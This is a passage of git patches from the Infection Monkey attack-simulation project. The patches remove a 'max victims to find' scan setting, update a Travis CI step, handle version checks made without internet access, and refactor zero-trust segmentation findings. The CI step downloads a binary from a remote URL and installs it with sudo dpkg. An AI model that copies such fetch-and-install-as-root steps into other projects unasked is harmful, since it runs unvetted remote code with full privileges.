[here](https://github.com/guardicore/monkey/tree/develop/envs/monkey_zoo/blackbox/island_configs).", + "diff": "diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py\nindex 1fbcb876..67ed19de 100644\n--- a/monkey/infection_monkey/config.py\n+++ b/monkey/infection_monkey/config.py\n@@ -120,9 +120,6 @@\n exploiter_classes = []\n system_info_collector_classes = []\n \n- # how many victims to look for in a single scan iteration\n- victims_max_find = 100\n-\n # how many victims to exploit before stopping\n victims_max_exploit = 100\n \ndiff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py\nindex 444bde45..ff23f671 100644\n--- a/monkey/infection_monkey/monkey.py\n+++ b/monkey/infection_monkey/monkey.py\n@@ -154,7 +154,7 @@\n if not self._keep_running or not WormConfiguration.alive:\n break\n \n- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,\n+ machines = self._network.get_victim_machines(max_find=100,\n stop_callback=ControlClient.check_for_stop)\n is_empty = True\n for machine in machines:\ndiff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py\nindex bdbae246..d6042d35 100644\n--- a/monkey/monkey_island/cc/services/config_schema/internal.py\n+++ b/monkey/monkey_island/cc/services/config_schema/internal.py\n@@ -40,12 +40,6 @@\n \"title\": \"Monkey\",\n \"type\": \"object\",\n \"properties\": {\n- \"victims_max_find\": {\n- \"title\": \"Max victims to find\",\n- \"type\": \"integer\",\n- \"default\": 100,\n- \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\"\n- },\n \"victims_max_exploit\": {\n \"title\": \"Max victims to exploit\",\n \"type\": \"integer\",\n", "tests": [], "hints": [ "Look for `victims_max_exploit` - it's rather similar." ], - "files": { + "app_version": "0.2.1", + "file_version": "1.0.3", + "swimmPatch": { "monkey/infection_monkey/config.py": { - "index": [ - "1fbcb876..67ed19de", - "100644" - ], - "fileA": "monkey/infection_monkey/config.py", - "fileB": "monkey/infection_monkey/config.py", - "status": "MODIFIED", - "numLineDeletions": 3, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGV4cGxvaXRlcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMxJTJDJTIyYiUyMiUzQTEzMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMyJTJDJTIyYiUyMiUzQTEzMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzMyUyQyUyMmIlMjIlM0ExMzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGxvb2slMjBmb3IlMjBpbiUyMGElMjBzaW5nbGUlMjBzY2FuJTIwaXRlcmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHZpY3RpbXNfbWF4X2ZpbmQlMjAlM0QlMjAxMDAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMzUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGV4cGxvaXQlMjBiZWZvcmUlMjBzdG9wcGluZyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzNyUyQyUyMmIlMjIlM0ExMzQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB2aWN0aW1zX21heF9leHBsb2l0JTIwJTNEJTIwMTAwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM4JTJDJTIyYiUyMiUzQTEzNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzOSUyQyUyMmIlMjIlM0ExMzYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBOSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBNiU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py\nindex 1fbcb876..67ed19de 100644\n--- a/monkey/infection_monkey/config.py\n+++ b/monkey/infection_monkey/config.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -120,9 +120,6 @@", + " exploiter_classes = []", + " system_info_collector_classes = []", + " ", + "- # how many victims to look for in a single scan iteration", + "- victims_max_find = 100", + "-", + " # how many victims to exploit before stopping", + " victims_max_exploit = 100", + " " + ] + } ] }, "monkey/infection_monkey/monkey.py": { - "index": [ - "444bde45..ff23f671", - "100644" - ], - "fileA": "monkey/infection_monkey/monkey.py", - "fileB": "monkey/infection_monkey/monkey.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xNTglMkM3JTIwJTJCMTU4JTJDNyUyMCU0MCU0MCUyMGNsYXNzJTIwSW5mZWN0aW9uTW9ua2V5KG9iamVjdCklM0ElMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU4JTJDJTIyYiUyMiUzQTE1OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU5JTJDJTIyYiUyMiUzQTE1OSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2MCUyQyUyMmIlMjIlM0ExNjAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYxJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExNjElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNjIlMkMlMjJiJTIyJTNBMTYyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaXNfZW1wdHklMjAlM0QlMjBUcnVlJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYzJTJDJTIyYiUyMiUzQTE2MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZvciUyMG1hY2hpbmUlMjBpbiUyMG1hY2hpbmVzJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTY0JTJDJTIyYiUyMiUzQTE2NCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py\nindex 444bde45..ff23f671 100644\n--- a/monkey/infection_monkey/monkey.py\n+++ b/monkey/infection_monkey/monkey.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -154,7 +154,7 @@", + " if not self._keep_running or not WormConfiguration.alive:", + " break", + " ", + "- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,", + "+ machines = self._network.get_victim_machines(max_find=100,", + " stop_callback=ControlClient.check_for_stop)", + " is_empty = True", + " for machine in machines:" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/internal.py": { - "index": [ - "bdbae246..d6042d35", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/internal.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/internal.py", - "status": "MODIFIED", - "numLineDeletions": 6, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00MCUyQzEyJTIwJTJCNDAlMkM2JTIwJTQwJTQwJTIwSU5URVJOQUwlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNb25rZXklNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MCUyQyUyMmIlMjIlM0E0MCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJvYmplY3QlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MSUyQyUyMmIlMjIlM0E0MSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnByb3BlcnRpZXMlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MiUyQyUyMmIlMjIlM0E0MiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ2aWN0aW1zX21heF9maW5kJTVDJTIyJTNBJTIwJTdCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJkZWZhdWx0JTVDJTIyJTNBJTIwMTAwJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZGVzY3JpcHRpb24lNUMlMjIlM0ElMjAlNUMlMjJEZXRlcm1pbmVzJTIwdGhlJTIwbWF4aW11bSUyMG51bWJlciUyMG9mJTIwbWFjaGluZXMlMjB0aGUlMjBtb25rZXklMjBpcyUyMGFsbG93ZWQlMjB0byUyMHNjYW4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnZpY3RpbXNfbWF4X2V4cGxvaXQlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OSUyQyUyMmIlMjIlM0E0MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyTWF4JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUwJTJDJTIyYiUyMiUzQTQ0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1MSUyQyUyMmIlMjIlM0E0NSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTEyJTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py\nindex bdbae246..d6042d35 100644\n--- a/monkey/monkey_island/cc/services/config_schema/internal.py\n+++ b/monkey/monkey_island/cc/services/config_schema/internal.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -40,12 +40,6 @@", + " \"title\": \"Monkey\",", + " \"type\": \"object\",", + " \"properties\": {", + "- \"victims_max_find\": {", + "- \"title\": \"Max victims to find\",", + "- \"type\": \"integer\",", + "- \"default\": 100,", + "- \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\"", + "- },", + " \"victims_max_exploit\": {", + " \"title\": \"Max victims to exploit\",", + " \"type\": \"integer\"," + ] + } ] } - }, - "app_version": "0.1.80", - "file_version": "1.0.2" + } } \ No newline at end of file From 22f77d4a0a38ca17459335094c77b6e0f1bff5d6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 8 Oct 2020 10:12:45 +0300 Subject: [PATCH 076/466] Updated swimm version for travis --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 196138558..b2c955385 100644 --- a/.travis.yml +++ b/.travis.yml @@ -99,7 +99,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- wget https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv018%2Fswimm-0.1.8-linux-executable\?alt\=media\&token\=e59c0a18-577f-4b77-bb3b-91b22c3d8b2a -O swimm +- wget https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv021%2FSwimm_0.2.1_amd64.deb\?alt\=media\&token\=d42813a1-839f-46ff-9fc3-65ada41551ca -O swimm - chmod +x ./swimm - ./swimm --version - ./swimm verify From 7478eab359d4c6d3cb5b7b5c4f681a08c87dc44f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 8 Oct 2020 11:11:57 +0300 Subject: [PATCH 077/466] Updated swimm version for travis --- .travis.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index b2c955385..bf183544b 100644 --- a/.travis.yml +++ b/.travis.yml @@ -101,8 +101,11 @@ script: - cd $TRAVIS_BUILD_DIR - wget https://firebasestorage.googleapis.com/v0/b/swimmio.appspot.com/o/Release%2Fv021%2FSwimm_0.2.1_amd64.deb\?alt\=media\&token\=d42813a1-839f-46ff-9fc3-65ada41551ca -O swimm - chmod +x ./swimm -- ./swimm --version -- ./swimm verify +- sudo dpkg -i ./swimm +- sudo apt-get -f install -y +- sudo dpkg -i ./swimm +- swimm --version +- swimm verify after_success: # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information From eac960c73d545c16393028ef76dfdc6cd2be6324 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 9 Oct 2020 10:19:32 +0300 Subject: [PATCH 078/466] Fixed version update bug that happens on systems with no internet connection --- monkey/common/utils/exceptions.py | 4 ++++ monkey/monkey_island/cc/services/version_update.py | 7 ++++++- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 4b27cd04d..27d128e88 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -28,3 +28,7 @@ class RulePathCreatorNotFound(Exception): class InvalidAWSKeys(Exception): """ Raise to indicate that AWS API keys are invalid""" + + +class NoInternetError(Exception): + """ Raise to indicate problems caused when no internet connection is present""" diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index ad1f81513..33fc8ef74 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -3,6 +3,7 @@ import logging import requests import monkey_island.cc.environment.environment_singleton as env_singleton +from common.utils.exceptions import NoInternetError from common.version import get_version __author__ = "itay.mizeretz" @@ -42,7 +43,11 @@ class VersionUpdateService: """ url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env_singleton.env.get_deployment(), get_version()) - reply = requests.get(url, timeout=15) + try: + reply = requests.get(url, timeout=7) + except requests.exceptions.RequestException: + logger.info("Can't get latest monkey version, probably no connection to the internet.") + raise NoInternetError res = reply.json().get('newer_version', None) From eb5648dc0e912018421916cd555e2c8d97a359ff Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 13 Oct 2020 17:44:25 +0300 Subject: [PATCH 079/466] Fixed segmentation findings to use the same infrastructure as other findings. Small segmentation finding bugfix --- .../zero_trust/monkey_finding_details.py | 12 ++++- .../models/zero_trust/segmentation_finding.py | 50 ------------------- .../cc/models/zero_trust/subnet_pair.py | 19 +++++++ .../zero_trust_checks/segmentation.py | 16 +++--- .../cc/services/zero_trust/events_service.py | 36 ------------- .../cc/services/zero_trust/finding_service.py | 4 +- .../zero_trust/monkey_finding_service.py | 31 +++++++++--- 7 files changed, 64 insertions(+), 104 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/subnet_pair.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/events_service.py diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index 5516d001b..84ca0f7fc 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -1,8 +1,10 @@ +from __future__ import annotations from typing import List from mongoengine import Document, EmbeddedDocumentListField from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.subnet_pair import SubnetPair class MonkeyFindingDetails(Document): @@ -13,8 +15,16 @@ class MonkeyFindingDetails(Document): # SCHEMA events = EmbeddedDocumentListField(document_type=Event, required=False) + checked_subnet_pairs = EmbeddedDocumentListField(document_type=SubnetPair, required=False) # LOGIC - def add_events(self, events: List[Event]) -> None: + def add_events(self, events: List[Event]) -> MonkeyFindingDetails: self.update(push_all__events=events) return self + + def add_checked_subnet_pair(self, subnet_pair: SubnetPair) -> MonkeyFindingDetails: + self.update(push__checked_subnet_pairs=subnet_pair) + return self + + def is_with_subnet_pair(self, subnet_pair: SubnetPair): + return subnet_pair in self.checked_subnet_pairs diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py deleted file mode 100644 index 903cf3546..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ /dev/null @@ -1,50 +0,0 @@ -from mongoengine import StringField - -import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding - - -def need_to_overwrite_status(saved_status, new_status): - return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED) - - -class SegmentationFinding(Finding): - first_subnet = StringField() - second_subnet = StringField() - - @staticmethod - def create_or_add_to_existing_finding(subnets, status, segmentation_event): - """ - Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the - event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will - remain so). - - :param subnets: the 2 subnets of this finding. - :param status: STATUS_PASSED or STATUS_FAILED - :param segmentation_event: The specific event - """ - assert len(subnets) == 2 - - # Sort them so A -> B and B -> A segmentation findings will be the same one. - subnets.sort() - - existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1]) - - if len(existing_findings) == 0: - # No finding exists - create. - new_finding = SegmentationFinding( - first_subnet=subnets[0], - second_subnet=subnets[1], - test=zero_trust_consts.TEST_SEGMENTATION, - status=status, - events=[segmentation_event] - ) - new_finding.save() - else: - # A finding exists (should be one). Add the event to it. - assert len(existing_findings) == 1 - existing_finding = existing_findings[0] - existing_finding.events.append(segmentation_event) - if need_to_overwrite_status(existing_finding.status, status): - existing_finding.status = status - existing_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/subnet_pair.py b/monkey/monkey_island/cc/models/zero_trust/subnet_pair.py new file mode 100644 index 000000000..8d3de96e4 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/subnet_pair.py @@ -0,0 +1,19 @@ +from typing import List + +from mongoengine import EmbeddedDocument, StringField + + +class SubnetPair(EmbeddedDocument): + """ + This model represents a pair of subnets. It is meant to hold details about cross-segmentation check between two + subnets. + """ + # 